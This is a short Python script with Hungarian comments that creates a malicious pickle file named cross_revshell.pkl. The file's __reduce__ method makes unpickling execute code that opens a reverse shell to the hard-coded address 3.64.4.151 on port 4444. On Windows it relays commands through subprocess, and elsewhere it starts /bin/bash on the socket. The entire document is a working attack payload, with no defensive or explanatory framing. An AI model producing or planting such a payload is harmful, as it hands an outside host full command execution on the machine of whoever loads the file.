import pickle, base64 class CrossPlatformReverseShell: def __reduce__(self): code = '''import socket,subprocess,os,platform s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("3.64.4.151",4444)) if platform.system() == "Windows": while True: d=s.recv(1024).decode() if not d: break p=subprocess.Popen(d,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE) o,e=p.communicate() s.send(o+e) else: os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) os.system("/bin/bash") ''' return (exec, (code,)) # Létrehozás: with open("cross_revshell.pkl", "wb") as f: pickle.dump(CrossPlatformReverseShell(), f) print("✅ cross_revshell.pkl elkészült")